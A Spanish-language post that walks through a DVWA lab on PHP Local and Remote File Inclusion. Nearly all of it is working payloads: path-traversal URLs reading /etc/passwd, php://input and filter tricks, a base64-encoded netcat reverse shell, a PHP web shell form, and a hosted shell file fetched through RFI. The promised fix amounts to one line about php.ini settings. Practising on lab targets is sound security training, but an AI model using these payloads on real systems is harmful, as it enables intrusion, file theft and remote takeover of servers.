Laboratorio de seguridad web: File Inclusion y cómo solucionarla
Publicado: 12 Abr 2022, 23:00
Laboratorio de seguridad web: File Inclusion y cómo solucionarla
En este laboratorio se simula como un atacante puede incluir un archivo en el servidor web a través de un script php. Esta vulnerabilidad surge cuando una aplicación web permite que el cliente envíe información a los archivos o cargue archivos al servidor. Te explicaremos como facilmente solucionar este tipo de problemas. Hay dos tipos Local File Inclusion y Remote File Inclusion LRI RFI

RED o ESCENARIO o LABORATORIO

COMANDOS USADOS o EJECUTADOS
ENLACES o Links
https://www.hackingarticles.in/comprehe ... inclusion/
https://www.hackingarticles.in/comprehe ... usion-rfi/
https://techsphinx.com/hacking/file-inc ... ull-guide/
https://braincoke.fr/write-up/dvwa/dvwa-file-inclusion/
https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion
https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion
VIDEO TUTORIAL
Temas relacionados: vulnerabilidades en aplicaciones web PHP, laboratorio de práctica, cómo corregirlas.
En este laboratorio se simula como un atacante puede incluir un archivo en el servidor web a través de un script php. Esta vulnerabilidad surge cuando una aplicación web permite que el cliente envíe información a los archivos o cargue archivos al servidor. Te explicaremos como facilmente solucionar este tipo de problemas. Hay dos tipos Local File Inclusion y Remote File Inclusion LRI RFI

RED o ESCENARIO o LABORATORIO

COMANDOS USADOS o EJECUTADOS
Código: Seleccionar todo
LOCAL INCLUSION
en Low
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/../../../../etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=../../../../../../proc/version
php://input&cmd=ls / pwd
<?php echo shell_exec($_GET['cmd']);?>
en Medium
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/proc/version
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd
Base64 Encoding and Decoding.
Ejemplo: uname -a o cat /etc/passwd o nc -e /bin/sh 192.168.1.130 4444
php://input&cmd=Y2F0IC9ldGMvcGFzc3dk | cat /etc/passwd
php://input&cmd=bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTMwIDQ0NDQ= | Conexion remota
<?php echo passthru(base64_decode($_GET['cmd'])); ?>
Listener command in kali linux
nc -vv -l -p 4444
en high
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=file:///proc/version
-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
Esto sucede por que en el php.ini
allow_url_include” and “allow_url_fopen estan en on
REMOTE INCLUSION
En low
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=https://www.google.com
Codigo de shell
<body>
<form action="<?php $link=(isset($_SERVER['HTTPS']) ? "https" : "http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
<center>
<br>
<h1> Remote File Inclusion - SHELL </h1>
<h2>
Command:
<input type="text" name="cmd" value=""/>
<input type="submit" name="submit" value="cmd">
</h2>
</center>
</form>
<?php
if(isset($_POST["cmd"])) {
$cmd = $_POST["cmd"];
$output = shell_exec("{$cmd}");
echo "<h2>".$cmd."</h2>"."<pre>".$output."</pre>";
}
?>
</body>
nombre RFI-shell.txt
En 192.168.1.130 levantamos un python server
python3 -m http.server --bind 0.0.0.0 8000
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=http://192.168.1.130:8000/RFI-shell.txt
-------
Codigo para acceder remotamente
passthru PHP function to gain access to the target web-server.
<?php
passthru('nc -e /bin/sh 192.168.1.130 4444');
?>
chmod 755 shell.txt
python3 -m http.server --bind 0.0.0.0 8000
nc -vv -l -p 4444
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=http://192.168.1.130:8000/shell.txt
-----------------------------------------------------------------------------------------------------
En Medium
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=HTTPS://www.google.com
Interpretador de comandos web
lo mismo que lo anterior con la difertencia que cambiamos la sintaxion que pegamos
en el cuadro de direcciones del explorador
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=hTTp://192.168.1.130:8000/RFI-shell.txt
conexion remota
es lo mismo que anterior pero cambiamos la sintaxis que pegamos
en el cuadro de texto del explorador
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=HttP://192.168.1.130:8000/shell.txt
--------------------------------------------------------------------------------------------------------
En High
no se puede
----------------------------------------------------------------------------------------------------------
https://www.hackingarticles.in/comprehe ... inclusion/
https://www.hackingarticles.in/comprehe ... usion-rfi/
https://techsphinx.com/hacking/file-inc ... ull-guide/
https://braincoke.fr/write-up/dvwa/dvwa-file-inclusion/
https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion
https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion
VIDEO TUTORIAL
Temas relacionados: vulnerabilidades en aplicaciones web PHP, laboratorio de práctica, cómo corregirlas.